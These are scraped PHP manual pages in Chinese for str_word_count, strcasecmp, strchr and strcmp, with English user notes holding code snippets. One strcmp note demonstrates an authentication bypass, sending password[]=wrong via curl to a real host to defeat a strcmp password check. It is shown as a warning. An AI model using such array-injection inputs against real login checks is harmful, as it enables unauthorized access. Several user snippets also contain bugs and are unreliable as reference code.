    $a = preg_split('/\W+/u', $str, -1, PREG_SPLIT_NO_EMPTY);
    return count($a);
}
echo str_word_count_utf8("Is w?rking"); // = 2
echo str_word_count_utf8("Is w?rking! :)"); // = 2
?>
jak74 at interia dot pl 10-Jul-2016 10:20
// split the phrase by any number of commas or space characters,
// which include " ", \r, \t, \n and \f

$keywords = preg_split("/[\s,]+/", "hypertext language, programming");
print_r($keywords);
broncha at rajesharma dot com 19-Jun-2015 07:01
Turns out the charlist is set by default for the web. For example, the string

Copyright &copy; ABC Ltd.

is 3 words in the cli and 4 words if executing in web context.
uri at speedy dot net 15-Aug-2012 07:08
Here is a count words function which supports UTF-8 and Hebrew. I tried other functions but they don't work. Notice that in Hebrew, '"' and '\'' can be used in words, so they are not separators. This function is not perfect, I would prefer a function we are using in JavaScript which considers all characters except [a-zA-Z?-?0-9_\'\"] as separators, but I don't know how to do it in PHP.

I removed some of the separators which don't work well with Hebrew ("\x20", "\xA0", "\x0A", "\x0D", "\x09", "\x0B", "\x2E"). I also removed the underline.

This is a fix to my previous post on this page - I found out that my function returned an incorrect result for an empty string. I corrected it and I'm also attaching another function - my_strlen.

<?php

function count_words($string) {
    // Return the number of words in a string.
    $string= str_replace("&#039;", "'", $string);
    $t= array(' ', "\t", '=', '+', '-', '*', '/', '\\', ',', '.', ';', ':', '[', ']', '{', '}', '(', ')', '<', '>', '&', '%', '$', '@', '#', '^', '!', '?', '~'); // separators
    $string= str_replace($t, " ", $string);
    $string= trim(preg_replace("/\s+/", " ", $string));
    $num= 0;
    if (my_strlen($string)>0) {
        $word_array= explode(" ", $string);
        $num= count($word_array);
    }
    return $num;
}

function my_strlen($s) {
    // Return mb_strlen with encoding UTF-8.
    return mb_strlen($s, "UTF-8");
}

?>
cito at wikatu dot com 03-Feb-2012 09:29
<?php

/***
 * This simple utf-8 word count function (it only counts)
 * is a bit faster then the one with preg_match_all
 * about 10x slower then the built-in str_word_count
 *
 * If you need the hyphen or other code points as word-characters
 * just put them into the [brackets] like [^\p{L}\p{N}\'\-]
 * If the pattern contains utf-8, utf8_encode() the pattern,
 * as it is expected to be valid utf-8 (using the u modifier).
 **/

// Jonny 5's simple word splitter
function str_word_count_utf8($str) {
  return count(preg_split('~[^\p{L}\p{N}\']+~u',$str));
}
?>
Samer Ata 05-Jan-2012 09:21
This is my own version of to get SEO meta description from wordpress post content. it is also generic usage function to get the first n words from a string.

<?php
function my_meta_description($text,$n=10)
{
$text=strip_tags($text);  // not neccssary for none HTML
// $text=strip_shortcodes($text); // uncomment only inside wordpress system
$text = trim(preg_replace("/\s+/"," ",$text));
$word_array = explode(" ", $text);
if (count($word_array) <= $n)
return implode(" ",$word_array);
else
{
$text='';
foreach ($word_array as $length=>$word)
{
    $text.=$word ;
    if($length==$n) break;
    else $text.=" ";
}
}
return $text;
?>
matthewkastor at live dot com 05-Apr-2011 07:08
This needs improvement, but works well as is.

<?php
/**
 * Generates an alphabetical index of unique words, and a count of their occurrences, in a file.
 *
 * This works on html pages or plain text files.
 * This function uses file_get_contents, so it
 * is possible to use a url instead of a local filename.
 *
 * Change the search pattern at
 * <code> $junk = preg_match('/[^a-zA-Z]/', $word); </code>
 * if you want to keep words with numbers or other characters. The pattern
 * I've set searches for anything that is not an upper or lowercase letter,
 * you may want something else.
 *
 * The array returned will look something like this:
 * <code>
 * Array
 * (
 *     [0] => Array
 *        (
 *            [word] => a
 *            [count] => 21
 *        )
 *
 *     [1] => Array
 *        (
 *            [word] => ability
 *            [count] => 1
 *        )
 * )
 * </code>
 *
 * @param string $file The file ( or url ) you want to create an index from.
 * @return array
 */
function index_page($file) {
    $index = array();
    $find = array(
        '/\r/',
        '/\n/',
        '/\s\s+/'
    );
    $replace = array(
        ' ',
        ' ',
        ' '
    );
    $work = file_get_contents($file);
    $work = preg_replace('/[>][<]/', '> <', $work);
    $work = strip_tags($work);
    $work = strtolower($work);
    $work = preg_replace($find, $replace, $work);
    $work = trim($work);
    $work = explode(' ', $work);
    natcasesort($work);
    $i = 0;
    foreach($work as $word) {
        $word = trim($word);
        $junk = preg_match('/[^a-zA-Z]/', $word);
        if($junk == 1) {
            $word = '';
        }
        if( (!empty($word)) && ($word != '') ) {
            if(!isset($index[$i]['word'])) { // if not set this is a new index
                $index[$i]['word'] = $word;
                $index[$i]['count'] = 1;
            } elseif( $index[$i]['word'] == $word ) {  // count repeats
                $index[$i]['count'] += 1;
            } else { // else this is a different word, increment $i and create an entry
                $i++;
                $index[$i]['word'] = $word;
                $index[$i]['count'] = 1;
            }
        }
    }
    unset($work);
    return($index);
}
?>

example usage:

<?php
$file = 'http://www.php.net/';
// or use a local file, see file_get_contents() for valid filenames and restrictions.

$index = index_page($file);
echo '<pre>'.print_r($index,true).'</pre>';
?>
dmVuY2lAc3RyYWhvdG5pLmNvbQ== (base64) 18-Oct-2010 04:39
to count words after converting a msword document to plain text with antiword, you can use this function:

<?php
function count_words($text) {
    $text = str_replace(str_split('|'), '', $text); // remove these chars (you can specify more)
    $text = trim(preg_replace('/\s+/', ' ', $text)); // remove extra spaces
    $text = preg_replace('/-{2,}/', '', $text); // remove 2 or more dashes in a row
    $len = strlen($text);

    if (0 === $len) {
        return 0;
    }

    $words = 1;

    while ($len--) {
        if (' ' === $text[$len]) {
            ++$words;
        }
    }

    return $words;
}
?>

it strips the pipe "|" chars, which antiword uses to format tables in its plain text output, removes more than one dashes in a row (also used in tables), then counts the words.

counting words using explode() and then count() is not a good idea for huge texts, because it uses much memory to store the text once more as an array. this is why i'm using while() { .. } to walk the string
lballard dot cat at gmail dot com 26-Sep-2010 08:17
word limiter:

<?php
$str = "my hella long string" ;
$length = 3;
$shortened =
implode(' ',array_slice(str_word_count($str,1),0,$length));
?>
brettz9 - see yahoo 12-Feb-2010 11:33
Words also cannot end in a hyphen unless allowed by the charlist...
charliefrancis at gmail dot com 29-Jul-2009 04:56
Hi this is the first time I have posted on the php manual, I hope some of you will like this little function I wrote.

It returns a string with a certain character limit, but still retaining whole words.
It breaks out of the foreach loop once it has found a string short enough to display, and the character list can be edited.

<?php
function word_limiter( $text, $limit = 30, $chars = '0123456789' ) {
    if( strlen( $text ) > $limit ) {
        $words = str_word_count( $text, 2, $chars );
        $words = array_reverse( $words, TRUE );
        foreach( $words as $length => $word ) {
            if( $length + strlen( $word ) >= $limit ) {
                array_shift( $words );
            } else {
                break;
            }
        }
        $words = array_reverse( $words );
        $text = implode( " ", $words ) . '&hellip;';
    }
    return $text;
}

$str = "Hello this is a list of words that is too long";
echo '1: ' . word_limiter( $str );
$str = "Hello this is a list of words";
echo '2: ' . word_limiter( $str );
?>

1: Hello this is a list of words&hellip;
2: Hello this is a list of words
jazz090 13-Apr-2009 10:39
Personally, I dont like using this function becuase the characters it omits are sometime nessesery for instance MS Word counts ">" or "<" alone as single word where this function doesnt. I like using this however, it counts EVERYTHING:

<?php
function num_words($string){
    preg_match_all("/\S+/", $string, $matches);
    return count($matches[0]);
}
?>
splogamurugan at gmail dot com 05-Feb-2009 02:32
We can also specify a range of values for charlist.

<?php
$str = "Hello fri3nd, you're
       looking          good today!
       look1234ing";
print_r(str_word_count($str, 1, '0..3'));
?>

will give the result as

Array ( [0] => Hello [1] => fri3nd [2] => you're [3] => looking [4] => good [5] => today [6] => look123 [7] => ing )
eanimator at yahoo dot com 11-Jan-2009 12:37
My quick and rough wordLimiter function.

<?php
function WordLimiter($text,$limit=20){
    $explode = explode(' ',$text);
    $string  = '';

    $dots = '...';
    if(count($explode) <= $limit){
        $dots = '';
    }
    for($i=0;$i<$limit;$i++){
        $string .= $explode[$i]." ";
    }

    return $string.$dots;
}
?>
manrash at gmail dot com 22-Dec-2008 03:06
For spanish speakers a valid character map may be:

<?php
$characterMap = 'áéíóúü?';

$count = str_word_count($text, 0, $characterMap);
?>
Adeel Khan 08-Dec-2007 08:01
<?php

/**
 * Returns the number of words in a string.
 * As far as I have tested, it is very accurate.
 * The string can have HTML in it,
 * but you should do something like this first:
 *
 *    $search = array(
 *      '@<script[^>]*?>.*?</script>@si',
 *      '@<style[^>]*?>.*?</style>@siU',
 *      '@<![\s\S]*?--[ \t\n\r]*>@'
 *    );
 *    $html = preg_replace($search, '', $html);
 *
 */

function word_count($html) {

  # strip all html tags
  $wc = strip_tags($html);

  # remove 'words' that don't consist of alphanumerical characters or punctuation
  $pattern = "#[^(\w|\d|\'|\"|\.|\!|\?|;|,|\\|\/|\-|:|\&|@)]+#";
  $wc = trim(preg_replace($pattern, " ", $wc));

  # remove one-letter 'words' that consist only of punctuation
  $wc = trim(preg_replace("#\s*[(\'|\"|\.|\!|\?|;|,|\\|\/|\-|:|\&|@)]\s*#", " ", $wc));

  # remove superfluous whitespace
  $wc = preg_replace("/\s\s+/", " ", $wc);

  # split string into an array of words
  $wc = explode(" ", $wc);

  # remove empty elements
  $wc = array_filter($wc);

  # return the number of words
  return count($wc);

}

?>
joshua dot blake at gmail dot com 02-Mar-2007 05:02
I needed a function which would extract the first hundred words out of a given input while retaining all markup such as line breaks, double spaces and the like. Most of the regexp based functions posted above were accurate in that they counted out a hundred words, but recombined the paragraph by imploding an array down to a string. This did away with any such hopes of line breaks, and thus I devised a crude but very accurate function which does all that I ask it to:

<?php
function Truncate($input, $numWords)
{
  if(str_word_count($input,0)>$numWords)
  {
    $WordKey = str_word_count($input,1);
    $PosKey = str_word_count($input,2);
    reset($PosKey);
    foreach($WordKey as $key => &$value)
    {
        $value=key($PosKey);
        next($PosKey);
    }
    return substr($input,0,$WordKey[$numWords]);
  }
  else {return $input;}
}
?>

The idea behind it? Go through the keys of the arrays returned by str_word_count and associate the number of each word with its character position in the phrase. Then use substr to return everything up until the nth character. I have tested this function on rather large entries and it seems to be efficient enough that it does not bog down at all.

Cheers!

Josh
josh at joshblake.net 01-Mar-2007 03:57
I was interested in a function which returned the first few words out of a larger string.

In reality, I wanted a preview of the first hundred words of a blog entry which was well over that.

I found all of the other functions which explode and implode strings to arrays lost key markups such as line breaks etc.

So, this is what I came up with:

<?php
function WordTruncate($input, $numWords) {
if(str_word_count($input,0)>$numWords)
{
    $WordKey = str_word_count($input,1);
    $WordIndex = array_flip(str_word_count($input,2));
    return substr($input,0,$WordIndex[$WordKey[$numWords]]);
}
else {return $input;}
}
?>

While I haven't counted per se, it's accurate enough for my needs. It will also return the entire string if it's less than the specified number of words.

The idea behind it? Use str_word_count to identify the nth word, then use str_word_count to identify the position of that word within the string, then use substr to extract up to that position.

Josh.
30-Jan-2007 08:15
Here is a php work counting function together with a javascript version which will print the same result.

<?php
      //Php word counting function
      function word_count($theString)
      {
        $char_count = strlen($theString);
        $fullStr = $theString." ";
        $initial_whitespace_rExp = "^[[:alnum:]]$";

        $left_trimmedStr = ereg_replace($initial_whitespace_rExp,"",$fullStr);
        $non_alphanumerics_rExp = "^[[:alnum:]]$";
        $cleanedStr = ereg_replace($non_alphanumerics_rExp," ",$left_trimmedStr);
        $splitString = explode(" ",$cleanedStr);

        $word_count = count($splitString)-1;

        if(strlen($fullStr)<2)
        {
          $word_count=0;
        }
        return $word_count;
      }
?>

<?php
      //Function to count words in a phrase
      function wordCount(theString)
      {
        var char_count = theString.length;
        var fullStr = theString + " ";
        var initial_whitespace_rExp = /^[^A-Za-z0-9]+/gi;
        var left_trimmedStr = fullStr.replace(initial_whitespace_rExp, "");
        var non_alphanumerics_rExp = rExp = /[^A-Za-z0-9]+/gi;
        var cleanedStr = left_trimmedStr.replace(non_alphanumerics_rExp, " ");
        var splitString = cleanedStr.split(" ");

        var word_count = splitString.length -1;

        if (fullStr.length <2)
        {
          word_count = 0;
        }
        return word_count;
      }
?>
lwright at psu dot edu 17-Aug-2006 11:51
If you are looking to count the frequency of words, try:

<?php

$wordfrequency = array_count_values( str_word_count( $string, 1) );

?>
MadCoder 15-Aug-2005 09:12
Here's a function that will trim a $string down to a certian number of words, and add a...   on the end of it.
(explansion of muz1's 1st 100 words code)

----------------------------------------------
<?php
function trim_text($text, $count){
$text = str_replace("  ", " ", $text);
$string = explode(" ", $text);
for ( $wordCounter = 0; $wordCounter <= $count;wordCounter++ ){
$trimed .= $string[$wordCounter];
if ( $wordCounter < $count ){ $trimed .= " "; }
else { $trimed .= "..."; }
}
$trimed = trim($trimed);
return $trimed;
}
?>

Usage
------------------------------------------------
<?php
$string = "one two three four";
echo trim_text($string, 3);
?>

returns:
one two three...
16-Jan-2005 06:38
This function seems to view numbers as whitespace. I.e. a word consisting of numbers only won't be counted.
aix at lux dot ee 14-Nov-2004 02:53
One function.
<?php
if (!function_exists('word_count')) {
function word_count($str,$n = "0"){
    $m=strlen($str)/2;
    $a=1;
    while ($a<$m) {
        $str=str_replace("  "," ",$str);
        $a++;
        }
    $b = explode(" ", $str);
    $i = 0;
    foreach ($b as $v) {
        $i++;
        }
    if ($n==1) return $b;
    else  return $i;

    }
}
$str="Tere Tartu linn";
$c  = word_count($str,1); // it return an array
$d  = word_count($str); // it return int - how many words was in text
print_r($c);
echo $d;
?>
aidan at php dot net 26-Jun-2004 03:02
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
Kirils Solovjovs 22-Feb-2004 09:06
Nothing of this worked for me. I think countwords() is very encoding dependent. This is the code for win1257. For other layots you just need to redefine the ranges of letters...

<?php
function countwords($text){
        $ls=0;//was it a whitespace?
        $cc33=0;//counter
        for($i=0;$i<strlen($text);$i++){
                $spstat=false; //is it a number or a letter?
                $ot=ord($text[$i]);
                if( (($ot>=48) && ($ot<=57)) ||  (($ot>=97) && ($ot<=122)) || (($ot>=65) && ($ot<=90)) || ($ot==170) ||
                (($ot>=192) && ($ot<=214)) || (($ot>=216) && ($ot<=246)) || (($ot>=248) && ($ot<=254))  )$spstat=true;
                if(($ls==0)&&($spstat)){
                        $ls=1;
                        $cc33++;
                }
                if(!$spstat)$ls=0;
        }
        return $cc33;
}

?>
Artimis 15-Oct-2003 02:32
Never use this function to count/separate alphanumeric words, it will just split them up words to words, numbers to numbers.  You could refer to another function "preg_split" when splitting alphanumeric words.  It works with Chinese characters as well.
andrea at 3site dot it 19-May-2003 04:55
if string doesn't contain the space " ", the explode method doesn't do anything, so i've wrote this and it seems works better ... i don't know about time and resource

<?php
function str_incounter($match,$string) {
$count_match = 0;
for($i=0;$i<strlen($string);$i++) {
if(strtolower(substr($string,$i,strlen($match)))==strtolower($match)) {
$count_match++;
}
}
return $count_match;
}
?>

example

<?php
$string = "something:something!!something";
$count_some = str_incounter("something",$string);
// will return 3
?>
philip at cornado dot com 06-Apr-2003 07:30
Some ask not just split on ' ', well, it's because simply exploding on a ' ' isn't fully accurate.  Words can be separated by tabs, newlines, double spaces, etc.  This is why people tend to seperate on all whitespace with regular expressions.
rcATinterfacesDOTfr 16-Jan-2003 07:58
Here is another way to count words :
$word_count = count(preg_split('/\W+/', $text, -1, PREG_SPLIT_NO_EMPTY));
brettNOSPAM at olwm dot NO_SPAM dot com 09-Nov-2002 12:06
This example may not be pretty, but It proves accurate:

<?php
//count words
$words_to_count = strip_tags($body);
$pattern = "/[^(\w|\d|\'|\"|\.|\!|\?|;|,|\\|\/|\-\-|:|\&|@)]+/";
$words_to_count = preg_replace ($pattern, " ", $words_to_count);
$words_to_count = trim($words_to_count);
$total_words = count(explode(" ",$words_to_count));
?>

Hope I didn't miss any punctuation. ;-)


二进制安全比较字符串（不区分大小写）

  • ? str_word_count
  • strchr ?
  • PHP Manual
  • 字符串 函数
  • 二进制安全比较字符串（不区分大小写）

strcasecmp

(PHP 4, PHP 5, PHP 7, PHP 8)

strcasecmp — 二进制安全比较字符串（不区分大小写）

说明

strcasecmp(string $string1, string $string2): int

二进制安全比较字符串（不区分大小写）。比较不会注意区域；只有 ASCII 字母以不区分大小写的方式进行比较。

参数

string1

第一个字符串

string2

第二个字符串

返回值

如果 string1 小于 string2 返回 -1；如果 string1 大于 string2 返回 1；如果两者相等，返回 0。

更新日志

版本 | 说明
8.2.0 | 现在此函数返回 -1 或者 1，之前返回负数或正数。

示例

Example #1 strcasecmp() 示例

<?php
$var1 = "Hello";
$var2 = "hello";
if (strcasecmp($var1, $var2) == 0) {
echo '$var1 is equal to $var2 in a case-insensitive string comparison';
}
?>

参见

  • strcmp() - 二进制安全字符串比较
  • preg_match() - 执行匹配正则表达式
  • substr_compare() - 二进制安全比较字符串（从偏移位置比较指定长度）
  • strncasecmp() - 二进制安全比较字符串开头的若干个字符（不区分大小写）
  • stristr() - strstr 函数的忽略大小写版本
  • substr() - 返回字符串的子串

User Contributed Notes

chrislarham at NOSPAM dot outlook dot com 13-Oct-2018 08:47
I didn't see any explanation in the documentation as to precisely how the positive/negative return values are calculated for unequal strings.

After a bit of experimentation it appears that it's the difference in alphabetical position of the first character in unequal strings.

For example, the letter 'z' is the 26th letter while the letter 'a' is the 1st letter:

<?php

      $zappl = "zappl";
      $apple = "apple";

      echo strcasecmp($zappl, $apple); #outputs 25 [26 - 1]
      echo strcasecmp($apple, $zappl); #outputs -25 [1 - 26]

?>

This might be incredibly obvious to most people, but hopefully it will clarify the calculation process for some others.
chris at cmbuckley dot co dot uk 28-Dec-2011 04:59
A simple multibyte-safe case-insensitive string comparison:

<?php

function mb_strcasecmp($str1, $str2, $encoding = null) {
    if (null === $encoding) { $encoding = mb_internal_encoding(); }
    return strcmp(mb_strtoupper($str1, $encoding), mb_strtoupper($str2, $encoding));
}

?>

Caveat: watch out for edge cases like "?".
alvaro at demogracia dot com 29-Jul-2010 05:35
Don't forget this is a single-byte function: in Unicode strings it'll provide incoherent results as soon as both strings differ only in case. There doesn't seem to exist a built-in multi-byte alternative so you need to write your own, taking into account both character encoding and collation.
27-Aug-2002 06:53
The sample above is only true on some platforms that only use a simple 'C' locale, where individual bytes are considered as complete characters that are converted to lowercase before being differentiated.

Other locales (see LC_COLLATE and LC_ALL) use the difference of collation order of characters, where characters may be groups of bytes taken from the input strings, or simply return -1, 0, or 1 as the collation order is not simply defined by comparing individual characters but by more complex rules.

Don't base your code on a specific non null value returned by strcmp() or strcasecmp(): it is not portable. Just consider the sign of the result and be sure to use the correct locale!


别名 strstr

  • ? strcasecmp
  • strcmp ?
  • PHP Manual
  • 字符串 函数
  • 别名 strstr

strchr

(PHP 4, PHP 5, PHP 7, PHP 8)

strchr — 别名 strstr()

说明

此函数是该函数的别名： strstr().

User Contributed Notes

webmaster at lyndonstate dot edu 12-Nov-2003 12:01
Alternative Way:
To get all the text before the first occurence.

-----------------------------------------------
INCLUDING A NEEDLE:

$string1 = "I need cookies & soda.";
$needle = "cookies";

//find length of the needle
$needle_len = strlen($needle);

//find postion
$position_num = strpos($string1,$needle) + $needle_len;

//cut the string
$result_string = substr("$string1",0,$position_num);

//display it
echo"$result_string"; // I need cookies

-----------------------------------------------
SHORTER VERSION:

$result_string = substr("$string1",0,strpos($string1,$needle)+strlen($needle));

echo"$result_string";//I need cookies

-----------------------------------------------
EXCLUDING THE NEEDLE:

$result_string = substr("$string1",0,strpos($string1,$needle));

echo"$result_string";// I need

-----------------------------------------------
FREE EMAIL JUNK?

This is probably useful for processing emails.
For example, someone sends email to your server from Yahoo account.
Free email always comes with wasted stuff like...
"Do you Yahoo!? The New Yahoo! Shopping - with improved product search ".
We can delete the phrase like this:

$needle="Do you Yahoo!?";

$result_string = substr("$emailstring",0,strpos($emailstring, $needle));
joaobett at oninet dot pt 10-Jan-2003 08:43
//If you want to get the text before the occurence of the character
//you want to find, simply use the function strRev twice:

$stringA = "user@example.com";
$toFind = "@";

$stringA = strrev($stringA); //The first time
$result = strchr($stringA,$toFind);
$result = strrev($result); //The second time
echo $result; //prints user@

//You can use it this way instead:
echo strrev( strchr(strrev($stringA),$toFind) );

-joao


二进制安全字符串比较

  • ? strchr
  • strcoll ?
  • PHP Manual
  • 字符串 函数
  • 二进制安全字符串比较

strcmp

(PHP 4, PHP 5, PHP 7, PHP 8)

strcmp — 二进制安全字符串比较

说明

strcmp(string $string1, string $string2): int

注意该比较区分大小写。

参数

string1

第一个字符串。

string2

第二个字符串。

返回值

如果 string1 小于 string2 返回 -1；如果 string1 大于 string2 返回 1；如果两者相等，返回 0。

更新日志

版本 | 说明
8.2.0 | 现在此函数返回 -1 或者 1，之前返回负数或正数。

示例

Example #1 strcmp() 例子

<?php
$var1 = "Hello";
$var2 = "hello";
if (strcmp($var1, $var2) !== 0) {
echo '$var1 is not equal to $var2 in a case sensitive string comparison';
}
?>

参见

  • strcasecmp() - 二进制安全比较字符串（不区分大小写）
  • preg_match() - 执行匹配正则表达式
  • substr_compare() - 二进制安全比较字符串（从偏移位置比较指定长度）
  • strncmp() - 二进制安全比较字符串开头的若干个字符
  • strstr() - 查找字符串的首次出现
  • substr() - 返回字符串的子串

User Contributed Notes

erik at eldata dot se 13-Dec-2020 06:41
strcmp and strcasecmp does not work well with multibyte (UTF8) strings and there are no mb_strcmp or mb_strcasecmp - instead look at the wonderful Collator class with method compare (search for Collator above) - supports not only UTF8 but also different national collations (sort orders).

Natural sort is also supported, use setAttribute to set Collator::NUMERIC_COLLATION to Collator::ON.
kgun ! mail ! com 12-Feb-2019 10:16
In case you want to get results -1, 0 or 1 always, like JS indexOf();

<?php
function cmp(string $str1, string $str2): int {
    return ($str1 > $str2) - ($str1 < $str2);
}

$str1 = 'a';
$str2 = 'z';
var_dump(cmp($str1, $str2), strcmp($str1, $str2));

//=> int(-1) int(-25) int(-25)

$str1 = 'a';
$str2 = '1';
var_dump(cmp($str1, $str2), strcmp($str1, $str2));
//=> int(1) int(48) int(48)
?>
mikael1 at mail dot ru 27-Jan-2019 03:05
1) If the two strings have identical BEGINNING parts, they are trunkated from both strings.
2) The resulting strings are compared with two possible outcomes:
a) if one of the resulting strings is an empty string, then the length of the non-empty string is returned (the sign depending on the order in which you pass the arguments to the function)
b) in any other case just the numerical values of the FIRST characters are compared. The result is +1 or -1 no matter how big is the difference between the numerical values.

<?php
$str = array('','a','afox','foxa');
$size = count($str);

echo '<pre>';
for($i=0; $i<$size; $i++)
{
  for($j=$i+1; $j<$size; $j++)
  {
    echo '<br>('.$str[$i].','.$str[$j].') = '.strcmp($str[$i], $str[$j]);
    echo '<br>('.$str[$j].','.$str[$i] .') = '.strcmp($str[$j], $str[$i]);
  }
}
echo '</pre>';
?>

In Apache/2.4.37 (Win32) OpenSSL/1.1.1 PHP/7.2.12 produces the following results:

(,a) = -1 //comparing with an empty string produces the length of the NON-empty string
(a,) = 1 // ditto
(,afox) = -4 // ditto
(afox,) = 4 // ditto
(,foxa) = -4 // ditto
(foxa,) = 4 // ditto
(a,afox) = -3 // The identical BEGINNING part ("a") is trunkated from both strings. Then the remaining "fox" is compared to the remaing empty string in the other argument. Produces the length of the NON-empty string. Same as in all the above examples.
(afox,a) = 3 // ditto
(a,foxa) = -1 // Nothing to trunkate. Just the numerical values of the first letters are compared
(foxa,a) = 1 // ditto
(afox,foxa) = -1 // ditto
(foxa,afox) = 1 // ditto
kamil dot k dot kielczewski at gmail dot com 24-Oct-2017 07:50
Vulnerability (in PHP >=5.3) :

<?php
if (strcmp($_POST['password'], 'sekret') == 0) {
    echo "Welcome, authorized user!\n";
} else {
    echo "Go away, imposter.\n";
}
?>

$ curl -d password=sekret http://andersk.scripts.mit.edu/strcmp.php
Welcome, authorized user!

$ curl -d password=wrong http://andersk.scripts.mit.edu/strcmp.php
Go away, imposter.

$ curl -d password[]=wrong http://andersk.scripts.mit.edu/strcmp.php
Welcome, authorized user!

SRC of this example: https://www.quora.com/Why-is-PHP-hated-by-so-many-developers
luizvid at gmail dot com 04-Oct-2015 10:01
strcmp returns -1 ou 1 if two strings are not identical,
and 0 when they are, except when comparing a string and an empty string (<?php $a = "";  ?>), it returns the length of the string.

For instance:
<?php
        $a = "foo"; // length 3
        $b = ""; // empty string
        $c = "barbar"; // length 6

        echo strcmp($a, $a); // outputs 0
        echo strcmp($a, $c); // outputs 1
        echo strcmp($c, $a); // outputs -1
        echo strcmp($a, $b); // outputs 3
        echo strcmp($b, $a); // outputs -3
        echo strcmp($c, $b); // outputs 6
        echo strcmp($b, $c); // outputs -6
?>
chris at unix-ninja dot com 01-Oct-2013 06:52
Since it may not be obvious to some people, please note that there is another possible return value for this function.

strcmp() will return NULL on failure.

This has the side effect of equating to a match when using an equals comparison (==).
Instead, you may wish to test matches using the identical comparison (===), which should not catch a NULL return.

---------------------
  Example
---------------------

$variable1 = array();
$ans === strcmp($variable1, $variable2);

This will stop $ans from returning a match;

Please use strcmp() carefully when comparing user input, as this may have potential security implications in your code.
lehal2 at hotmail dot com 01-Jan-2013 11:32
i hope this will give you a clear idea how strcmp works internally.

<?php
$str1 = "b";
echo ord($str1); //98
echo "<br/>";
$str2 = "t";
echo ord($str2); //116
echo "<br/>";
echo ord($str1)-ord($str2);//-18
$str1 = "bear";
$str2 = "tear";
$str3 = "";
echo "<pre>";
echo strcmp($str1, $str2); // -18
echo "<br/>";
echo strcmp($str2, $str1); //18
echo "<br/>";
echo strcmp($str2, $str2); //0
echo "<br/>";
echo strcmp($str2, $str3); //4
echo "<br/>";
echo strcmp($str3, $str2); //-4
echo "<br/>";
echo strcmp($str3, $str3); // 0
echo "</pre>";
?>
jendoj at gmail dot com 07-May-2012 11:00
If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable.
For instance you may get an unexpected 0, or return values of NULL, -2, 2, 3 and -3.

strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp(61529519452809720693702583126814, 61529519452809720000000000000000) => 0
strcmp(NULL, false) => 0
strcmp(NULL, "") => 0
strcmp(NULL, 0) => -1
strcmp(false, -1) => -2
strcmp("15", NULL) => 2
strcmp(NULL, "foo") => -3
strcmp("foo", NULL) => 3
strcmp("foo", false) => 3
strcmp("foo", 0) => 1
strcmp("foo", 5) => 1
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
hrodicus at gmail dot com 28-Feb-2011 06:40
Note a difference between 5.2 and 5.3 versions

echo (int)strcmp('pending',array());
will output -1 in PHP 5.2.16 (probably in all versions prior 5.3)
but will output 0 in PHP 5.3.3

Of course, you never need to use array as a parameter in string comparisions.
hm2k at php dot net 02-Aug-2010 04:41
Don't forget the similar_text() function...

http://php.net/manual/en/function.similar-text.php
Rob Wiesler 21-Jul-2009 12:48
One big caveat - strings retrieved from the backtick operation may be zero terminated (C-style), and therefore will not be equal to the non-zero terminated strings (roughly Pascal-style) normal in PHP. The workaround is to surround every `` pair or shell_exec() function with the trim() function. This is likely to be an issue with other functions that invoke shells; I haven't bothered to check.

On Debian Lenny (and RHEL 5, with minor differences), I get this:

====PHP====
<?php
$sz = `pwd`;
$ps = "/var/www";

echo "Zero-terminated string:<br />sz = ".$sz."<br />str_split(sz) = "; print_r(str_split($sz));
echo "<br /><br />";

echo "Pascal-style string:<br />ps = ".$ps."<br />str_split(ps) = "; print_r(str_split($ps));
echo "<br /><br />";

echo "Normal results of comparison:<br />";
echo "sz == ps = ".($sz == $ps ? "true" : "false")."<br />";
echo "strcmp(sz,ps) = ".strcmp($sz,$ps);
echo "<br /><br />";

echo "Comparison with trim()'d zero-terminated string:<br />";
echo "trim(sz) = ".trim($sz)."<br />";
echo "str_split(trim(sz)) = "; print_r(str_split(trim($sz))); echo "<br />";
echo "trim(sz) == ps = ".(trim($sz) == $ps ? "true" : "false")."<br />";
echo "strcmp(trim(sz),ps) = ".strcmp(trim($sz),$ps);
?>

====Output====
Zero-terminated string:
sz = /var/www
str_split(sz) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w [8] => )

Pascal-style string:
ps = /var/www
str_split(ps) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )

Normal results of comparison:
sz == ps = false
strcmp(sz,ps) = 1

Comparison with trim()'d zero-terminated string:
trim(sz) = /var/www
str_split(trim(sz)) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )
trim(sz) == ps = true
strcmp(trim(sz),ps) = 0
wsogmm at seznam dot cz 16-May-2009 08:45
Just a short comment to the note of arnar at hm dot is: md5() is a hash function and therefore it may happen (although it is very unlikely) that the md5() checksums of  two different strings will be equal (hash collision) ...
francis at flourish dot org 08-Dec-2005 06:57
If you want to strings according to locale, use strcoll instead.
jcanals at totsoft dot com 30-Jan-2004 06:05
Some notes about the spanish locale. I've read some notes that says  "CH", "RR" or "LL" must be considered as a single letter in Spanish. That's not really tru. "CH", "RR" and "LL" where considered a single letter in the past (lot of years ago), for that you must use the "Tradictional Sort". Nowadays, the Academy uses the Modern Sort and recomends not to consider anymore "CH", "RR" and "LL" as a single letter. They must be considered two separated letters and sort and compare on that way.

Ju just have to take a look to the Offial Spanish Language Dictionary and you can see there that from many years ago there is not the separated section for "CH", "LL" or "RR" ... i.e. words starting with CH must be after the ones starting by CG, and before the ones starting by CI.
27-Aug-2002 06:45
In summary, strcmp() does not necessarily use the ASCII code order of each character like in the 'C' locale, but instead parse each string to match language-specific character entities (such as 'ch' in Spanish, or 'dz' in Czech), whose collation order is then compared. When both character entities have the same collation order (such as 'ss' and '?' in German), they are compared relative to their code by strcmp(), or considered equal by strcasecmp().
The LC_COLLATE locale setting is then considered: only if LC_COLLATE=C or LC_ALL=C does strcmp() compare strings by character code.
Generally, most locales define the following order:
control, space, punctuation and underscore, digit, alpha (lower then upper with Latin scripts; or final, middle, then isolated, initial with Arabic script), symbols, others...
With strcasecmp(), the alpha subclass is ignored and consider all forms of letters as equal.
